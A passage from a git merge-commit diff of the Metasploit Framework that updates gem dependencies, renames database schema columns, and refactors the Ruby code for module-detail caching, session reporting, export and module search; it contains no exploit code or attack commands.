Merge branch 'master' into bug/web-match_and_log_fingerprint

This commit is contained in:
Tasos Laskos
2013-05-14 01:55:37 +03:00
35 changed files with 3568 additions and 468 deletions
+1 -1
View File
@@ -12,7 +12,7 @@ If your bug is new and you'd like to report it you will need to
first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds.
When you file a bug report, please inclue your **steps to reproduce**,
When you file a bug report, please include your **steps to reproduce**,
full copy-pastes of Ruby stack traces, and any relevant details about
your environment. Without repro steps, your bug will likely be closed.
With repro steps, your bugs will likely be fixed.
+27 -22
View File
@@ -12,33 +12,33 @@ gem 'nokogiri'
gem 'robots'
group :db do
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.6.16'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.11.2'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
group :pcap do
# For sniffer and raw socket modules
gem 'pcaprub'
# For sniffer and raw socket modules
gem 'pcaprub'
end
group :development do
# Markdown formatting for yard
gem 'redcarpet'
# generating documentation
gem 'yard'
# Markdown formatting for yard
gem 'redcarpet'
# generating documentation
gem 'yard'
end
group :development, :test do
# supplies factories for producing model instance for specs
# Version 4.1.0 or newer is needed to support generate calls without the
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
# Version 4.1.0 or newer is needed to support generate calls without the
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
end
group :test do
@@ -46,9 +46,14 @@ group :test do
# transactional fixtures because multiple connections are in use so
# transactions won't work.
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false
# testing framework
gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'
end
+14 -3
View File
@@ -13,6 +13,8 @@ GEM
i18n (= 0.6.1)
multi_json (~> 1.0)
arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4)
database_cleaner (0.9.1)
diff-lcs (1.2.2)
@@ -20,15 +22,18 @@ GEM
activesupport (>= 3.0.0)
i18n (0.6.1)
json (1.7.7)
metasploit_data_models (0.6.16)
metaclass (0.0.1)
metasploit_data_models (0.11.2)
activerecord (>= 3.2.13)
activesupport
pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4)
multi_json (1.0.4)
nokogiri (1.5.9)
pcaprub (0.11.3)
pg (0.15.0)
pg (0.15.1)
rake (10.0.4)
redcarpet (2.2.2)
robots (0.10.1)
@@ -40,10 +45,14 @@ GEM
rspec-expectations (2.13.0)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.1)
tzinfo (0.3.37)
yard (0.8.5.2)
@@ -56,7 +65,7 @@ DEPENDENCIES
database_cleaner
factory_girl (>= 4.1.0)
json
metasploit_data_models (~> 0.6.16)
metasploit_data_models (~> 0.11.2)
msgpack
nokogiri
pcaprub
@@ -65,5 +74,7 @@ DEPENDENCIES
redcarpet
robots
rspec (>= 2.12)
shoulda-matchers
simplecov (= 0.5.4)
timecop
yard
+11 -8
View File
@@ -36,6 +36,17 @@ else
task :default => :spec
end
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
# YARD is not defined when yard.rake is loaded.
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
begin
require 'metasploit_data_models'
rescue LoadError
@@ -58,14 +69,6 @@ else
end
end
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
if print_without
+19 -18
View File
@@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130228214900) do
ActiveRecord::Schema.define(:version => 20130430162145) do
create_table "api_keys", :force => true do |t|
t.text "token"
@@ -135,7 +135,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
create_table "hosts", :force => true do |t|
t.datetime "created_at"
t.string "address", :limit => nil
t.string "address", :limit => nil, :null => false
t.string "mac"
t.string "comm"
t.string "name"
@@ -145,7 +145,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
t.string "os_sp"
t.string "os_lang"
t.string "arch"
t.integer "workspace_id"
t.integer "workspace_id", :null => false
t.datetime "updated_at"
t.text "purpose"
t.string "info", :limit => 65536
@@ -157,14 +157,15 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
t.integer "service_count", :default => 0
t.integer "host_detail_count", :default => 0
t.integer "exploit_attempt_count", :default => 0
t.integer "cred_count", :default => 0
end
add_index "hosts", ["address"], :name => "index_hosts_on_address"
add_index "hosts", ["name"], :name => "index_hosts_on_name"
add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor"
add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name"
add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose"
add_index "hosts", ["state"], :name => "index_hosts_on_state"
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
create_table "hosts_tags", :id => false, :force => true do |t|
t.integer "host_id"
@@ -223,26 +224,26 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
end
create_table "module_actions", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id"
add_index "module_actions", ["detail_id"], :name => "index_module_actions_on_module_detail_id"
create_table "module_archs", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id"
add_index "module_archs", ["detail_id"], :name => "index_module_archs_on_module_detail_id"
create_table "module_authors", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
t.text "email"
end
add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id"
add_index "module_authors", ["detail_id"], :name => "index_module_authors_on_module_detail_id"
create_table "module_details", :force => true do |t|
t.datetime "mtime"
@@ -268,34 +269,34 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
add_index "module_details", ["refname"], :name => "index_module_details_on_refname"
create_table "module_mixins", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id"
add_index "module_mixins", ["detail_id"], :name => "index_module_mixins_on_module_detail_id"
create_table "module_platforms", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id"
add_index "module_platforms", ["detail_id"], :name => "index_module_platforms_on_module_detail_id"
create_table "module_refs", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_targets", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.integer "index"
t.text "name"
end
add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id"
add_index "module_targets", ["detail_id"], :name => "index_module_targets_on_module_detail_id"
create_table "nexpose_consoles", :force => true do |t|
t.datetime "created_at", :null => false
+62 -7
View File
@@ -645,12 +645,69 @@ class DBManager
}
end
# Record a new session in the database
# @note The Mdm::Session#desc will be truncated to 255 characters.
# @todo https://www.pivotaltracker.com/story/show/48249739
#
# opts MUST contain either
# +:session+:: the Msf::Session object we are reporting
# +:host+:: the Host object we are reporting a session on.
# @overload report_session(opts)
# Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the
# +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the
# session's host. The Mdm::Host for the +session_host+ is created using
# The session.session_host, +session.arch+ (if +session+ responds to arch),
# and the workspace derived from opts or the +session+. The Mdm::Session is
# assumed to be +last_seen+ and +opened_at+ at the time report_session is
# called. +session.exploit_datastore['ParentModule']+ is used for the
# Mdm::Session#via_exploit if +session.via_exploit+ is
# 'exploit/multi/handler'.
#
# @param opts [Hash{Symbol => Object}] options
# @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session
# The in-memory session to persist to the database.
# @option opts [Mdm::Workspace] :workspace The workspace for in which the
# :session host is contained. Also used as the workspace for the
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
# Mdm::Workspace#name equal to +session.workspace+.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [Mdm::Session] if session is saved
# @raise [ArgumentError] if :session is not an {Msf::Session}.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be
# created, but the Mdm::Host will have been. (There is no transaction
# to rollback the Mdm::Host creation.)
# @see #find_or_create_host
# @see #normalize_host
# @see #report_exploit_success
# @see #report_vuln
#
# @overload report_session(opts)
# Creates an Mdm::Session from Mdm::Host.
#
# @param opts [Hash{Symbol => Object}] options
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
# closed.
# @option opts [String] :close_reason Reason the session was closed.
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
# @option opts [String] :desc Session description. Will be truncated to 255
# characters.
# @option opts [Mdm::Host] :host The host on which the session was opened.
# @option opts [DateTime, Time] :last_seen The last date and time the
# session was seen to be open. Defaults to :closed_at's value.
# @option opts [DateTime, Time] :opened_at The date and time that the
# session was opened.
# @option opts [String] :platform The platform of the host.
# @option opts [Array] :routes ([]) The routes through the session for
# pivoting.
# @option opts [String] :stype Session type.
# @option opts [String] :via_exploit The {Msf::Module#fullname} of the
# exploit that was used to open the session.
# @option option [String] :via_payload the {MSf::Module#fullname} of the
# payload sent to the host when the exploit was successful.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [Mdm::Session] if session is saved.
# @raise [ArgumentError] if :host is not an Mdm::Host.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved.
#
# @raise ArgumentError if :host and :session is +nil+
def report_session(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
@@ -719,13 +776,11 @@ class DBManager
# If this is a live session, we know the host is vulnerable to something.
if opts[:session] and session.via_exploit
return unless host
mod = framework.modules.create(session.via_exploit)
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
mod_fullname = sess_data[:datastore]['ParentModule']
mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
else
mod_name = mod.name
mod_fullname = mod.fullname
+19 -2
View File
@@ -358,9 +358,19 @@ class Export
return el
end
# @note there is no single root element output by
# {#extract_module_detail_info}, so if calling {#extract_module_detail_info}
# directly, it is the caller's responsibility to add an opening and closing
# tag to report_file around the call to {#extract_module_detail_info}.
#
# Writes a module_detail element to the report_file for each
# Mdm::Module::Detail.
#
# @param report_file [#write, #flush] IO stream to which to write the
# module_detail elements.
# @return [void]
def extract_module_detail_info(report_file)
Mdm::ModuleDetail.all.each do |m|
Mdm::Module::Detail.all.each do |m|
report_file.write("<module_detail>\n")
m_id = m.attributes["id"]
@@ -371,6 +381,7 @@ class Export
end
# Authors sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_authors>\n")
m.authors.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@@ -381,6 +392,7 @@ class Export
report_file.write(" </module_authors>\n")
# Refs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_refs>\n")
m.refs.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@@ -392,6 +404,7 @@ class Export
# Archs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_archs>\n")
m.archs.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@@ -403,6 +416,7 @@ class Export
# Platforms sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_platforms>\n")
m.platforms.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@@ -414,6 +428,7 @@ class Export
# Targets sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_targets>\n")
m.targets.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@@ -424,6 +439,7 @@ class Export
report_file.write(" </module_targets>\n")
# Actions sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_actions>\n")
m.actions.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@@ -434,6 +450,7 @@ class Export
report_file.write(" </module_actions>\n")
# Mixins sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_mixins>\n")
m.mixins.find(:all).each do |d|
d.attributes.each_pair do |k,v|
+245 -167
View File
@@ -314,17 +314,28 @@ class DBManager
end
# @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is
# +false+.
#
# Destroys all Mdm::Module::Details in the database.
#
# @return [void]
def purge_all_module_details
return if not self.migrated
return if self.modules_caching
::ActiveRecord::Base.connection_pool.with_connection do
Mdm::ModuleDetail.destroy_all
Mdm::Module::Detail.destroy_all
end
true
end
# Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for
# any module with an Mdm::Module::Detail where the modification time of the
# Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the
# Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail
# is just destroyed without a new one being created.
#
# @return [void]
def update_all_module_details
return if not self.migrated
return if self.modules_caching
@@ -334,106 +345,112 @@ class DBManager
self.modules_cached = false
self.modules_caching = true
::ActiveRecord::Base.connection_pool.with_connection {
ActiveRecord::Base.connection_pool.with_connection do
refresh = []
skipped = []
refresh = []
skipped = []
Mdm::ModuleDetail.find_each do |md|
Mdm::Module::Detail.find_each do |md|
unless md.ready
refresh << md
next
unless md.ready
refresh << md
next
end
unless md.file and ::File.exists?(md.file)
refresh << md
next
end
if ::File.mtime(md.file).to_i != md.mtime.to_i
refresh << md
next
end
skipped << [md.mtype, md.refname]
end
unless md.file and ::File.exists?(md.file)
refresh << md
next
end
refresh.each { |md| md.destroy }
if ::File.mtime(md.file).to_i != md.mtime.to_i
refresh << md
next
end
skipped << [md.mtype, md.refname]
end
refresh.each {|md| md.destroy }
refresh = nil
[
[ 'exploit', framework.exploits ],
[ 'auxiliary', framework.auxiliary ],
[ 'post', framework.post ],
[ 'payload', framework.payloads ],
[ 'encoder', framework.encoders ],
[ 'nop', framework.nops ]
].each do |mt|
mt[1].keys.sort.each do |mn|
next if skipped.include?( [ mt[0], mn ] )
obj = mt[1].create(mn)
next if not obj
begin
update_module_details(obj)
rescue ::Exception
elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}")
[
['exploit', framework.exploits],
['auxiliary', framework.auxiliary],
['post', framework.post],
['payload', framework.payloads],
['encoder', framework.encoders],
['nop', framework.nops]
].each do |mt|
mt[1].keys.sort.each do |mn|
next if skipped.include?([mt[0], mn])
obj = mt[1].create(mn)
next if not obj
begin
update_module_details(obj)
rescue ::Exception
elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}")
end
end
end
self.framework.cache_initialized = true
end
self.framework.cache_initialized = true
self.framework.cache_thread = nil
self.modules_cached = true
# in reverse order of section before with_connection block
self.modules_caching = false
nil
}
self.modules_cached = true
self.framework.cache_thread = nil
end
def update_module_details(obj)
# Creates an Mdm::Module::Detail from a module instance.
#
# @param module_instance [Msf::Module] a metasploit module instance.
# @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for
# Mdm::Module::Detail.
# @return [void]
def update_module_details(module_instance)
return if not self.migrated
::ActiveRecord::Base.connection_pool.with_connection {
info = module_to_details_hash(obj)
bits = info.delete(:bits) || []
ActiveRecord::Base.connection_pool.with_connection do
info = module_to_details_hash(module_instance)
bits = info.delete(:bits) || []
module_detail = Mdm::Module::Detail.create!(info)
md = Mdm::ModuleDetail.create(info)
bits.each do |args|
otype, vals = args
case otype
when :author
md.add_author(vals[:name], vals[:email])
when :action
md.add_action(vals[:name])
when :arch
md.add_arch(vals[:name])
when :platform
md.add_platform(vals[:name])
when :target
md.add_target(vals[:index], vals[:name])
when :ref
md.add_ref(vals[:name])
when :mixin
# md.add_mixin(vals[:name])
bits.each do |args|
otype, vals = args
case otype
when :action
module_detail.add_action(vals[:name])
when :arch
module_detail.add_arch(vals[:name])
when :author
module_detail.add_author(vals[:name], vals[:email])
when :platform
module_detail.add_platform(vals[:name])
when :ref
module_detail.add_ref(vals[:name])
when :target
module_detail.add_target(vals[:index], vals[:name])
end
end
module_detail.ready = true
module_detail.save!
end
md.ready = true
md.save
md.id
}
end
# Destroys Mdm::Module::Detail if one exists for the given
# Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname.
#
# @param mtype [String] module type.
# @param refname [String] module reference name.
# @return [void]
def remove_module_details(mtype, refname)
return if not self.migrated
::ActiveRecord::Base.connection_pool.with_connection {
md = Mdm::ModuleDetail.find(:conditions => [ 'mtype = ? and refname = ?', mtype, refname])
md.destroy if md
}
ActiveRecord::Base.connection_pool.with_connection do
Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all
end
end
def module_to_details_hash(m)
@@ -523,108 +540,169 @@ class DBManager
res
end
# Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or
# +'ILIKE'+
#
# @param values [Set<String>, #each] a list of strings.
# @return [Arrray<String>] strings wrapped like %<string>%
def match_values(values)
wrapped_values = values.collect { |value|
"%#{value}%"
}
wrapped_values
end
#
# This provides a standard set of search filters for every module.
# The search terms are in the form of:
# {
# "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ],
# "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ]
# }
#
# Returns true on no match, false on match
# Supported keywords with the format <keyword>:<search_value>:
# +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules.
# +author+:: Matches modules with the given author email or name.
# +bid+:: Matches modules with the given Bugtraq ID.
# +cve+:: Matches modules with the given CVE ID.
# +edb+:: Matches modules with the given Exploit-DB ID.
# +name+:: Matches modules with the given full name or name.
# +os+, +platform+:: Matches modules with the given platform or target name.
# +osvdb+:: Matches modules with the given OSVDB ID.
# +ref+:: Matches modules with the given reference ID.
# +type+:: Matches modules with the given type.
#
def search_modules(search_string, inclusive=false)
return false if not search_string
# Any text not associated with a keyword is matched against the description,
# the full name, and the name of the module; the name of the module actions;
# the name of the module archs; the name of the module authors; the name of
# module platform; the module refs; or the module target.
#
# @param search_string [String] a string of space separated keyword pairs or
# free form text.
# @return [[]] if search_string is +nil+
# @return [ActiveRecord::Relation] module details that matched
# +search_string+
def search_modules(search_string)
search_string ||= ''
search_string += " "
search_string += " "
# Split search terms by space, but allow quoted strings
terms = Shellwords.shellwords(search_string)
terms.delete('')
# Split search terms by space, but allow quoted strings
terms = Shellwords.shellwords(search_string)
terms.delete('')
# All terms are either included or excluded
value_set_by_keyword = Hash.new { |hash, keyword|
hash[keyword] = Set.new
}
# All terms are either included or excluded
res = {}
terms.each do |term|
keyword, value = term.split(':', 2)
terms.each do |t|
f,v = t.split(":", 2)
if not v
v = f
f = 'text'
end
next if v.length == 0
f.downcase!
v.downcase!
res[f] ||= [ ]
res[f] << v
end
unless value
value = keyword
keyword = 'text'
end
::ActiveRecord::Base.connection_pool.with_connection {
unless value.empty?
keyword.downcase!
where_q = []
where_v = []
value_set = value_set_by_keyword[keyword]
value_set.add value
end
end
res.keys.each do |kt|
res[kt].each do |kv|
kv = kv.downcase
case kt
when 'text'
xv = "%#{kv}%"
where_q << ' ( ' +
'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' +
'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' +
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' +
') '
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ]
when 'name'
xv = "%#{kv}%"
where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) '
where_v << [ xv, xv ]
when 'author'
xv = "%#{kv}%"
where_q << ' ( module_authors.name ILIKE ? OR module_authors.email ILIKE ? ) '
where_v << [ xv, xv ]
when 'os','platform'
xv = "%#{kv}%"
where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) '
where_v << [ xv, xv ]
when 'port'
# TODO
when 'type'
where_q << ' ( module_details.mtype = ? ) '
where_v << [ kv ]
when 'app'
where_q << ' ( module_details.stance = ? )'
where_v << [ ( kv == "client") ? "passive" : "aggressive" ]
when 'ref'
where_q << ' ( module_refs.name ILIKE ? )'
where_v << [ '%' + kv + '%' ]
when 'cve','bid','osvdb','edb'
where_q << ' ( module_refs.name = ? )'
where_v << [ kt.upcase + '-' + kv ]
query = Mdm::Module::Detail.scoped
end
end
end
ActiveRecord::Base.connection_pool.with_connection do
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
# intersection, so creating the where clause has to be delayed until all conditions can be or'd together and
# passed to one call ot where.
union_conditions = []
qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)").
joins(
"LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " +
"LEFT OUTER JOIN module_actions ON module_details.id = module_actions.module_detail_id " +
"LEFT OUTER JOIN module_archs ON module_details.id = module_archs.module_detail_id " +
"LEFT OUTER JOIN module_refs ON module_details.id = module_refs.module_detail_id " +
"LEFT OUTER JOIN module_targets ON module_details.id = module_targets.module_detail_id " +
"LEFT OUTER JOIN module_platforms ON module_details.id = module_platforms.module_detail_id "
).
where(where_q.join(inclusive ? " OR " : " AND "), *(where_v.flatten)).
# Compatibility for Postgres installations prior to 9.1 - doesn't have support for wildcard group by clauses
group("module_details.id, module_details.mtime, module_details.file, module_details.mtype, module_details.refname, module_details.fullname, module_details.name, module_details.rank, module_details.description, module_details.license, module_details.privileged, module_details.disclosure_date, module_details.default_target, module_details.default_action, module_details.stance, module_details.ready")
value_set_by_keyword.each do |keyword, value_set|
case keyword
when 'author'
formatted_values = match_values(value_set)
res = qry.all
query = query.includes(:authors)
module_authors = Mdm::Module::Author.arel_table
union_conditions << module_authors[:email].matches_any(formatted_values)
union_conditions << module_authors[:name].matches_any(formatted_values)
when 'name'
formatted_values = match_values(value_set)
}
end
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
when 'os', 'platform'
formatted_values = match_values(value_set)
query = query.includes(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'text'
formatted_values = match_values(value_set)
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:description].matches_any(formatted_values)
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
query = query.includes(:actions)
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
query = query.includes(:archs)
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
query = query.includes(:authors)
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
query = query.includes(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'type'
formatted_values = match_values(value_set)
union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values)
when 'app'
formatted_values = value_set.collect { |value|
formatted_value = 'aggressive'
if value == 'client'
formatted_value = 'passive'
end
formatted_value
}
union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values)
when 'ref'
formatted_values = match_values(value_set)
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
when 'cve', 'bid', 'osvdb', 'edb'
formatted_values = value_set.collect { |value|
prefix = keyword.upcase
"#{prefix}-#{value}"
}
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values)
end
end
unioned_conditions = union_conditions.inject { |union, condition|
union.or(condition)
}
query = query.where(unioned_conditions).uniq
end
query
end
end
end
+43 -31
View File
@@ -46,13 +46,19 @@ module Msf::ModuleManager::Cache
loaded
end
# Rebuild the cache for the module set
# @overload refresh_cache_from_module_files
# Rebuilds database and in-memory cache for all modules.
#
# @return [void]
def refresh_cache_from_module_files(mod = nil)
# @return [void]
# @overload refresh_cache_from_module_files(module_class_or_instance)
# Rebuilds database and in-memory cache for given module_class_or_instance.
#
# @param (see Msf::DBManager#update_module_details)
# @return [void]
def refresh_cache_from_module_files(module_class_or_instance = nil)
if framework_migrated?
if mod
framework.db.update_module_details(mod)
if module_class_or_instance
framework.db.update_module_details(module_class_or_instance)
else
framework.db.update_all_module_details
end
@@ -61,7 +67,7 @@ module Msf::ModuleManager::Cache
end
end
# Reset the module cache
# Refreshes the in-memory cache from the database cache.
#
# @return [void]
def refresh_cache_from_database
@@ -86,43 +92,49 @@ module Msf::ModuleManager::Cache
# @return (see #module_info_by_path_from_database!)
attr_accessor :module_info_by_path
# Return a module info from Mdm::ModuleDetails in database.
# Return a module info from Mdm::Module::Details in database.
#
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
#
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::ModuleDetail#file) to module information. Module
# information is a Hash derived from Mdm::ModuleDetail. It includes :modification_time, :parent_path, :type,
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
# :reference_name.
def module_info_by_path_from_database!
self.module_info_by_path = {}
if framework_migrated?
# TODO record module parent_path in {Mdm::ModuleDetail} so it does not need to be derived from file.
::Mdm::ModuleDetail.find(:all).each do |module_detail|
path = module_detail.file
type = module_detail.mtype
reference_name = module_detail.refname
ActiveRecord::Base.connection_pool.with_connection do
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
# Use find_each so Mdm::Module::Details are returned in batches, which will
# handle the growing number of modules better than all.each.
Mdm::Module::Detail.find_each do |module_detail|
path = module_detail.file
type = module_detail.mtype
reference_name = module_detail.refname
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
escaped_typed_path = Regexp.escape(typed_path)
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
# join to '' so that typed_path_prefix starts with file separator
typed_path_suffix = File.join('', typed_path)
escaped_typed_path = Regexp.escape(typed_path_suffix)
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_detail.mtime
}
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_detail.mtime
}
typed_module_set = module_set(type)
typed_module_set = module_set(type)
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
end
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
end
end
end
self.module_info_by_path
+16 -13
View File
@@ -1386,17 +1386,16 @@ class Core
print_line
print_line "Keywords:"
{
"name" => "Modules with a matching descriptive name",
"path" => "Modules with a matching path or reference name",
"platform" => "Modules affecting this platform",
"port" => "Modules with a matching remote port",
"type" => "Modules of a specific type (exploit, auxiliary, or post)",
"app" => "Modules that are client or server attacks",
"author" => "Modules written by this author",
"cve" => "Modules with a matching CVE ID",
"bid" => "Modules with a matching Bugtraq ID",
"osvdb" => "Modules with a matching OSVDB ID",
"edb" => "Modules with a matching Exploit-DB ID"
'app' => 'Modules that are client or server attacks',
'author' => 'Modules written by this author',
'bid' => 'Modules with a matching Bugtraq ID',
'cve' => 'Modules with a matching CVE ID',
'edb' => 'Modules with a matching Exploit-DB ID',
'name' => 'Modules with a matching descriptive name',
'osvdb' => 'Modules with a matching OSVDB ID',
